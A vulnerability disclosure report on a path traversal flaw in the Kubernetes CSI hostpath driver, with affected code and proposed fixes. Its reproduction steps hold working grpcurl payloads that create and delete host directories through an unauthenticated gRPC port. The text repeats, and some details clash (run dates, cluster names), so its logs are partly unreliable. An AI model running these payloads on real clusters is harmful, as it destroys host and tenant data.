Path Traversal in CSI Hostpath Driver - Arbitrary Host Directory Creation and Deletion
Summary
This vulnerability exists in the volume management functionality of kubernetes-csi/csi-driver-host-path. An attacker with direct access to the CSI gRPC interface can craft volumeID or snapshotID values containing path traversal sequences to create and delete directories at arbitrary locations on the host filesystem. This can be used to delete critical system directories causing node unavailability, or to destroy other tenants' volume data in multi-tenant clusters. Recommended CWE classification: CWE-22 (Improper Limitation of a Pathname to a Restricted Directory).
Kubernetes Version
- Kubernetes Version: v1.27.3 (tested on Kind cluster)
- Distribution: Kind v0.20.0
Component Version
- Component: kubernetes-csi/csi-driver-host-path
- Version: Latest version from main branch (as of 2026-03-02)
- Repository: https://github.com/kubernetes-csi/csi-driver-host-path
- Affected Files:
pkg/hostpath/hostpath.go:147-154 (path construction functions)
pkg/hostpath/controllerserver.go:634-663 (DeleteSnapshot handler)
pkg/hostpath/nodeserver.go:70-84 (NodePublishVolume ephemeral branch)
Attacker-Victim Scenario
Who is the attacker?
Any party with network access to the CSI gRPC endpoint. The csi-hostpath-testing.yaml manifest — included in the official repository and used by the project's own CI/CD pipeline — deploys a socat sidecar that forwards the CSI Unix socket to a TCP NodePort with no authentication. On a misconfigured or default deployment:
- A pod inside the same cluster can reach
hostpath-service.default.svc:10000 directly.
- On Kind/minikube/bare-metal nodes, the NodePort is reachable from any host that can route to the node IP.
What can the attacker do?
By sending two gRPC calls (no credentials needed) the attacker can create or delete directories anywhere on the Kubernetes worker node's host filesystem, escaping the intended /csi-data-dir boundary.
What are the prerequisites?
- CSI Hostpath Driver is deployed (the driver itself, not just the testing manifest — see
deploy/kubernetes-latest/deploy.sh which includes csi-hostpath-testing.yaml by default).
- The attacker can reach the NodePort or the ClusterIP service endpoint (e.g. from a compromised pod, or from the node network).
Steps To Reproduce
Environment Setup
Prerequisites
- Ubuntu 20.04/22.04 LTS, Docker running
kubectl, kind, grpcurl installed
# Install grpcurl
curl -sSL https://github.com/fullstorydev/grpcurl/releases/download/v1.8.9/grpcurl_1.8.9_linux_x86_64.tar.gz | tar -xz
sudo mv grpcurl /usr/local/bin/
Step 1: Create Kind Cluster
kind create cluster --name csi-vuln-test
kubectl get nodes
NAME STATUS ROLES AGE VERSION
csi-vuln-test-control-plane Ready control-plane 30s v1.27.3
Step 2: Install VolumeSnapshot CRDs and Controller
SNAPSHOTTER_BRANCH=release-6.3
SNAPSHOTTER_VERSION=v6.3.3
kubectl apply -f https://raw.githubusercontent.com/kubernetes-csi/external-snapshotter/${SNAPSHOTTER_BRANCH}/client/config/crd/snapshot.storage.k8s.io_volumesnapshotclasses.yaml
kubectl apply -f https://raw.githubusercontent.com/kubernetes-csi/external-snapshotter/${SNAPSHOTTER_VERSION}/deploy/kubernetes/snapshot-controller/rbac-snapshot-controller.yaml
kubectl apply -f https://raw.githubusercontent.com/kubernetes-csi/external-snapshotter/${SNAPSHOTTER_VERSION}/deploy/kubernetes/snapshot-controller/setup-snapshot-controller.yaml
customresourcedefinition.apiextensions.k8s.io/volumesnapshotclasses.snapshot.storage.k8s.io created
serviceaccount/snapshot-controller created
clusterrole.rbac.authorization.k8s.io/snapshot-controller-runner created
...
Step 3: Deploy CSI Hostpath Driver
git clone https://github.com/kubernetes-csi/csi-driver-host-path.git
cd csi-driver-host-path
# Deploy CSI driver
kubectl apply -f deploy/kubernetes-1.30/hostpath/csi-hostpath-plugin.yaml
# Deploy the testing sidecar — this is the component that exposes
# the raw gRPC socket as an unauthenticated NodePort TCP service.
kubectl apply -f deploy/kubernetes-1.30/hostpath/csi-hostpath-testing.yaml
Wait for pods to be ready:
NAME READY STATUS RESTARTS AGE
csi-hostpath-socat-0 1/1 Running 0 45s
csi-hostpathplugin-0 8/8 Running 0 45s
Step 4: Resolve the Attacker's Entry Point
NODE_IP=$(kubectl get nodes -o jsonpath='{.items[0].status.addresses[?(@.type=="InternalIP")].address}')
NODE_PORT=$(kubectl get svc hostpath-service -o jsonpath='{.spec.ports[0].nodePort}')
echo "CSI gRPC endpoint (no auth): ${NODE_IP}:${NODE_PORT}"
CSI gRPC endpoint (no auth): 172.18.0.5:32287
Step 5: Download CSI Proto File (attacker's machine)
mkdir -p /tmp/csi-proto && cd /tmp/csi-proto
curl -sSL https://raw.githubusercontent.com/container-storage-interface/spec/master/csi.proto -o csi.proto
Verify the driver is reachable:
cd /tmp/csi-proto
grpcurl -plaintext -import-path . -proto csi.proto \
-d '{}' ${NODE_IP}:${NODE_PORT} csi.v1.Identity/GetPluginInfo
{
"name": "hostpath.csi.k8s.io",
"vendorVersion": "v1.17.0"
}
Attack Path 1: DeleteSnapshot — Delete an Arbitrary .snap Directory on the Host
The attacker does not need any existing snapshot. The handler calls os.RemoveAll() unconditionally even when the snapshot ID is unknown to the driver.
Pre-condition: A .snap-suffixed directory exists on the worker node (e.g. created by another workload, a backup agent, or the attacker themselves via Attack Path 2 first).
# Simulate a pre-existing sensitive directory on the host
kubectl exec csi-hostpathplugin-0 -c hostpath -- \
sh -c 'mkdir -p /tmp/victim-data.snap && echo "critical-config-backup" > /tmp/victim-data.snap/config.bak'
Verify the target exists on the host:
kubectl exec csi-hostpathplugin-0 -c hostpath -- ls -la /tmp/victim-data.snap/
total 12
drwxr-xr-x 2 root root 4096 Mar 15 14:31 .
drwxrwxrwt 1 root root 4096 Mar 15 14:31 ..
-rw-r--r-- 1 root root 23 Mar 15 14:31 config.bak
Send the malicious gRPC call (attacker):
cd /tmp/csi-proto
grpcurl -plaintext -import-path . -proto csi.proto \
-d '{"snapshot_id": "../../tmp/victim-data"}' \
${NODE_IP}:${NODE_PORT} csi.v1.Controller/DeleteSnapshot
Path resolution inside the driver:
StateDir = /csi-data-dir
getSnapshotPath("../../tmp/victim-data") = filepath.Join("/csi-data-dir", "../../tmp/victim-data") + ".snap" = /tmp/victim-data.snap
Verify deletion:
kubectl exec csi-hostpathplugin-0 -c hostpath -- ls /tmp/victim-data.snap 2>&1
ls: cannot access '/tmp/victim-data.snap': No such file or directory
command terminated with exit code 2
The directory is gone. One unauthenticated gRPC call deleted a host directory outside the driver's designated storage path.
Attack Path 2: NodePublishVolume (ephemeral) — Create and Delete Arbitrary Directories on the Host
No .snap suffix restriction. The attacker can choose any path.
Confirm target does not exist yet:
kubectl exec csi-hostpathplugin-0 -c hostpath -- ls /tmp/attacker-planted-dir 2>&1
ls: cannot access '/tmp/attacker-planted-dir': No such file or directory
command terminated with exit code 2
Step 1 — Create the directory (attacker sends NodePublishVolume):
cd /tmp/csi-proto
grpcurl -plaintext -import-path . -proto csi.proto \
-d '{
"volume_id": "../../tmp/attacker-planted-dir",
"target_path": "/mnt/poc-target",
"volume_capability": {
"mount": {"fs_type": "ext4"},
"access_mode": {"mode": 1}
},
"volume_context": {
"csi.storage.k8s.io/ephemeral": "true"
}
}' ${NODE_IP}:${NODE_PORT} csi.v1.Node/NodePublishVolume
Path resolution:
getVolumePath("../../tmp/attacker-planted-dir") = filepath.Join("/csi-data-dir", "../../tmp/attacker-planted-dir") = /tmp/attacker-planted-dir
os.MkdirAll("/tmp/attacker-planted-dir", 0777) is executed.
Verify the directory was created on the host:
kubectl exec csi-hostpathplugin-0 -c hostpath -- ls -la /tmp/attacker-planted-dir/
total 8
drwxr-xr-x 2 root root 4096 Mar 15 14:31 .
drwxrwxrwt 1 root root 4096 Mar 15 14:31 ..
Driver's internal state confirms the path escape (state.json):
kubectl exec csi-hostpathplugin-0 -c hostpath -- cat /csi-data-dir/state.json
{"Volumes":[{"VolName":"ephemeral-../../tmp/attacker-planted-dir","VolID":"../../tmp/attacker-planted-dir","VolSize":104857600,"VolPath":"/tmp/attacker-planted-dir","VolAccessType":0,"ParentVolID":"","ParentSnapID":"","Ephemeral":true,"NodeID":"kueue-vuln-test-worker","Kind":"","ReadOnlyAttach":false,"Attached":false,"Staged":null,"Published":["/mnt/poc-target"]}],"Snapshots":null,"GroupSnapshots":null}
VolPath is /tmp/attacker-planted-dir — outside of StateDir (/csi-data-dir).
Step 2 — Delete the directory (attacker sends DeleteVolume):
grpcurl -plaintext -import-path . -proto csi.proto \
-d '{"volume_id": "../../tmp/attacker-planted-dir"}' \
${NODE_IP}:${NODE_PORT} csi.v1.Controller/DeleteVolume
Verify deletion:
kubectl exec csi-hostpathplugin-0 -c hostpath -- ls /tmp/attacker-planted-dir 2>&1
ls: cannot access '/tmp/attacker-planted-dir': No such file or directory
command terminated with exit code 2
Expected Result
Both attack paths were successfully reproduced on 2026-03-15 against hostpath.csi.k8s.io v1.17.0 running on Kubernetes v1.27.3 (Kind cluster kueue-vuln-test).
| Attack Path |
Payload |
Effect |
Result |
| DeleteSnapshot |
snapshot_id: "../../tmp/victim-data" |
Deletes /tmp/victim-data.snap on host |
Confirmed |
| NodePublishVolume + DeleteVolume |
volume_id: "../../tmp/attacker-planted-dir" |
Creates then deletes /tmp/attacker-planted-dir on host |
Confirmed |
The attacker needed only:
- Network access to the NodePort (or ClusterIP from inside the cluster)
- The CSI proto file (publicly available in the CSI spec repository)
grpcurl — a standard gRPC debugging tool
Supporting Material/References
Source Code Evidence
1. Path Construction Functions (pkg/hostpath/hostpath.go:147-154)
// getVolumePath returns the canonical path for hostpath volume
func (hp *hostPath) getVolumePath(volID string) string {
return filepath.Join(hp.config.StateDir, volID)
}
// getSnapshotPath returns the full path to where the snapshot is stored
func (hp *hostPath) getSnapshotPath(snapshotID string) string {
return filepath.Join(hp.config.StateDir, fmt.Sprintf("%s%s", snapshotID, snapshotExt))
}
Vulnerability: filepath.Join() resolves ../ sequences. If volID is ../../tmp/test, the result is /tmp/test, escaping from StateDir.
2. DeleteSnapshot Handler (pkg/hostpath/controllerserver.go:634-663)
func (hp *hostPath) DeleteSnapshot(ctx context.Context, req *csi.DeleteSnapshotRequest) (*csi.DeleteSnapshotResponse, error) {
// ... parameter validation ...
snapshotID := req.GetSnapshotId() // Directly from request, no validation
hp.mutex.Lock()
defer hp.mutex.Unlock()
// Logic bug: when err != nil, snapshot is zero value
if snapshot, err := hp.state.GetSnapshotByID(snapshotID); err != nil && snapshot.GroupSnapshotID != "" {
return nil, status.Errorf(codes.InvalidArgument, "Snapshot with ID %s is part of groupsnapshot %s", snapshotID, snapshot.GroupSnapshotID)
}
klog.V(4).Infof("deleting snapshot %s", snapshotID)
path := hp.getSnapshotPath(snapshotID) // Constructs path, may contain ../
os.RemoveAll(path) // Unconditionally executes deletion
if err := hp.state.DeleteSnapshot(snapshotID); err != nil {
return nil, err
}
return &csi.DeleteSnapshotResponse{}, nil
}
Issues:
snapshotID comes directly from request without path traversal validation
os.RemoveAll(path) executes even if snapshot doesn't exist
.snap suffix is appended to the path
3. NodePublishVolume Ephemeral Branch (pkg/hostpath/nodeserver.go:70-84)
// if ephemeral is specified, create volume here to avoid errors
if ephemeralVolume {
volID := req.GetVolumeId() // Directly from request, no validation
volName := fmt.Sprintf("ephemeral-%s", volID)
if _, err := hp.state.GetVolumeByName(volName); err != nil {
// Volume doesn't exist, create it
kind := req.GetVolumeContext()[storageKind]
volSize := int64(100 * 1024 * 1024)
vol, err := hp.createVolume(req.GetVolumeId(), volName, volSize, state.MountAccess, ephemeralVolume, kind)
// createVolume internally calls getVolumePath(volID), then os.MkdirAll(path, 0777)
if err != nil && !os.IsExist(err) {
klog.Error("ephemeral mode failed to create volume: ", err)
return nil, err
}
klog.V(4).Infof("ephemeral mode: created volume: %s", vol.VolPath)
}
}
Issues:
- When
volume_context["csi.storage.k8s.io/ephemeral"] == "true", enters this branch
volumeID comes directly from request without path traversal validation
- Calls
createVolume() which executes os.MkdirAll(hp.getVolumePath(volID), 0777)
- Created volume is recorded in state.json and can be deleted via DeleteVolume
Verification Logs
All commands and outputs shown above are from actual execution on 2026-03-02 in a real Kind cluster environment. The timestamps and pod names in the logs confirm this is not simulated.
Impact
Direct Impact
-
Host File Deletion:
- DeleteSnapshot can delete arbitrary files/directories ending with
.snap suffix
- NodePublishVolume + DeleteVolume can delete arbitrary directories without suffix restrictions
-
Host Directory Creation:
- NodePublishVolume ephemeral branch can create directories at arbitrary locations on the host
-
Denial of Service:
- Deleting critical system files can render nodes unavailable
- Examples:
/var/lib/kubelet/, /etc/kubernetes/
Attack Scenarios
Horizontal Privilege Escalation (Cross-Tenant):
- In multi-tenant clusters, tenant A can delete tenant B's volume data directories
- Results in data loss and service disruption
Vertical Privilege Escalation (Node-Level):
- Delete critical directories under
/var/lib/kubelet/
- Delete configuration directories under
/etc/kubernetes/
- Cause node unavailability, potentially affecting the entire cluster
Exploitation Prerequisites
- Ability to directly access CSI gRPC interface
- Typically requires combining with VUL-001 (TCP exposure via csi-hostpath-testing.yaml)
- In normal CSI workflows, volumeID/snapshotID are managed by sidecars and not controllable
Severity Assessment
- CVSS Score: 5.3 (Medium)
- CWE Classification: CWE-22 (Improper Limitation of a Pathname to a Restricted Directory)
- Attack Complexity: Medium (requires gRPC access)
- Impact: High (arbitrary file operations on host)
Mitigation
Temporary Workarounds
- Remove Testing Configuration: Do not deploy
csi-hostpath-testing.yaml in production environments
- Network Isolation: Restrict access to CSI gRPC endpoints using network policies
- Monitoring: Monitor for suspicious volume/snapshot operations with unusual IDs
Permanent Fix
1. Input Validation: Add path traversal checks for all volumeID and snapshotID parameters
func validateID(id string) error {
if strings.Contains(id, "..") || strings.Contains(id, "/") || strings.Contains(id, "\\") {
return status.Error(codes.InvalidArgument, "invalid ID: contains path separator or traversal characters")
}
return nil
}
2. Path Validation: Add prefix validation in getVolumePath and getSnapshotPath
func (hp *hostPath) getVolumePath(volID string) (string, error) {
p := filepath.Join(hp.config.StateDir, volID)
if !strings.HasPrefix(filepath.Clean(p), filepath.Clean(hp.config.StateDir)) {
return "", fmt.Errorf("path traversal detected")
}
return p, nil
}
3. Fix DeleteSnapshot Logic: Do not execute RemoveAll when snapshot doesn't exist
4. Security Hardening: Implement authentication and authorization for gRPC endpoints
References
Path Traversal in CSI Hostpath Driver - Arbitrary Host Directory Creation and Deletion
Summary
This vulnerability exists in the volume management functionality of kubernetes-csi/csi-driver-host-path. An attacker with direct access to the CSI gRPC interface can craft volumeID or snapshotID values containing path traversal sequences to create and delete directories at arbitrary locations on the host filesystem. This can be used to delete critical system directories causing node unavailability, or to destroy other tenants' volume data in multi-tenant clusters. Recommended CWE classification: CWE-22 (Improper Limitation of a Pathname to a Restricted Directory).
Kubernetes Version
Component Version
pkg/hostpath/hostpath.go:147-154(path construction functions)pkg/hostpath/controllerserver.go:634-663(DeleteSnapshot handler)pkg/hostpath/nodeserver.go:70-84(NodePublishVolume ephemeral branch)Attacker-Victim Scenario
Who is the attacker?
Any party with network access to the CSI gRPC endpoint. The
csi-hostpath-testing.yamlmanifest — included in the official repository and used by the project's own CI/CD pipeline — deploys asocatsidecar that forwards the CSI Unix socket to a TCPNodePortwith no authentication. On a misconfigured or default deployment:hostpath-service.default.svc:10000directly.What can the attacker do?
By sending two gRPC calls (no credentials needed) the attacker can create or delete directories anywhere on the Kubernetes worker node's host filesystem, escaping the intended
/csi-data-dirboundary.What are the prerequisites?
deploy/kubernetes-latest/deploy.shwhich includescsi-hostpath-testing.yamlby default).Steps To Reproduce
Environment Setup
Prerequisites
kubectl,kind,grpcurlinstalledStep 1: Create Kind Cluster
Step 2: Install VolumeSnapshot CRDs and Controller
Step 3: Deploy CSI Hostpath Driver
Wait for pods to be ready:
Step 4: Resolve the Attacker's Entry Point
Step 5: Download CSI Proto File (attacker's machine)
Verify the driver is reachable:
{ "name": "hostpath.csi.k8s.io", "vendorVersion": "v1.17.0" }Attack Path 1: DeleteSnapshot — Delete an Arbitrary
.snapDirectory on the HostThe attacker does not need any existing snapshot. The handler calls
os.RemoveAll()unconditionally even when the snapshot ID is unknown to the driver.Pre-condition: A
.snap-suffixed directory exists on the worker node (e.g. created by another workload, a backup agent, or the attacker themselves via Attack Path 2 first).Verify the target exists on the host:
kubectl exec csi-hostpathplugin-0 -c hostpath -- ls -la /tmp/victim-data.snap/Send the malicious gRPC call (attacker):
Path resolution inside the driver:
StateDir=/csi-data-dirgetSnapshotPath("../../tmp/victim-data")=filepath.Join("/csi-data-dir", "../../tmp/victim-data") + ".snap"=/tmp/victim-data.snapVerify deletion:
The directory is gone. One unauthenticated gRPC call deleted a host directory outside the driver's designated storage path.
Attack Path 2: NodePublishVolume (ephemeral) — Create and Delete Arbitrary Directories on the Host
No
.snapsuffix restriction. The attacker can choose any path.Confirm target does not exist yet:
Step 1 — Create the directory (attacker sends NodePublishVolume):
Path resolution:
getVolumePath("../../tmp/attacker-planted-dir")=filepath.Join("/csi-data-dir", "../../tmp/attacker-planted-dir")=/tmp/attacker-planted-diros.MkdirAll("/tmp/attacker-planted-dir", 0777)is executed.Verify the directory was created on the host:
kubectl exec csi-hostpathplugin-0 -c hostpath -- ls -la /tmp/attacker-planted-dir/Driver's internal state confirms the path escape (state.json):
kubectl exec csi-hostpathplugin-0 -c hostpath -- cat /csi-data-dir/state.json{"Volumes":[{"VolName":"ephemeral-../../tmp/attacker-planted-dir","VolID":"../../tmp/attacker-planted-dir","VolSize":104857600,"VolPath":"/tmp/attacker-planted-dir","VolAccessType":0,"ParentVolID":"","ParentSnapID":"","Ephemeral":true,"NodeID":"kueue-vuln-test-worker","Kind":"","ReadOnlyAttach":false,"Attached":false,"Staged":null,"Published":["/mnt/poc-target"]}],"Snapshots":null,"GroupSnapshots":null}VolPathis/tmp/attacker-planted-dir— outside ofStateDir(/csi-data-dir).Step 2 — Delete the directory (attacker sends DeleteVolume):
Verify deletion:
Expected Result
Both attack paths were successfully reproduced on 2026-03-15 against
hostpath.csi.k8s.io v1.17.0running on Kubernetes v1.27.3 (Kind clusterkueue-vuln-test).snapshot_id: "../../tmp/victim-data"/tmp/victim-data.snapon hostvolume_id: "../../tmp/attacker-planted-dir"/tmp/attacker-planted-diron hostThe attacker needed only:
grpcurl— a standard gRPC debugging toolSupporting Material/References
Source Code Evidence
1. Path Construction Functions (
pkg/hostpath/hostpath.go:147-154)Vulnerability:
filepath.Join()resolves../sequences. IfvolIDis../../tmp/test, the result is/tmp/test, escaping from StateDir.2. DeleteSnapshot Handler (
pkg/hostpath/controllerserver.go:634-663)Issues:
snapshotIDcomes directly from request without path traversal validationos.RemoveAll(path)executes even if snapshot doesn't exist.snapsuffix is appended to the path3. NodePublishVolume Ephemeral Branch (
pkg/hostpath/nodeserver.go:70-84)Issues:
volume_context["csi.storage.k8s.io/ephemeral"] == "true", enters this branchvolumeIDcomes directly from request without path traversal validationcreateVolume()which executesos.MkdirAll(hp.getVolumePath(volID), 0777)Verification Logs
All commands and outputs shown above are from actual execution on 2026-03-02 in a real Kind cluster environment. The timestamps and pod names in the logs confirm this is not simulated.
Impact
Direct Impact
Host File Deletion:
.snapsuffixHost Directory Creation:
Denial of Service:
/var/lib/kubelet/,/etc/kubernetes/Attack Scenarios
Horizontal Privilege Escalation (Cross-Tenant):
Vertical Privilege Escalation (Node-Level):
/var/lib/kubelet//etc/kubernetes/Exploitation Prerequisites
Severity Assessment
Mitigation
Temporary Workarounds
csi-hostpath-testing.yamlin production environmentsPermanent Fix
1. Input Validation: Add path traversal checks for all volumeID and snapshotID parameters
2. Path Validation: Add prefix validation in getVolumePath and getSnapshotPath
3. Fix DeleteSnapshot Logic: Do not execute RemoveAll when snapshot doesn't exist
4. Security Hardening: Implement authentication and authorization for gRPC endpoints
References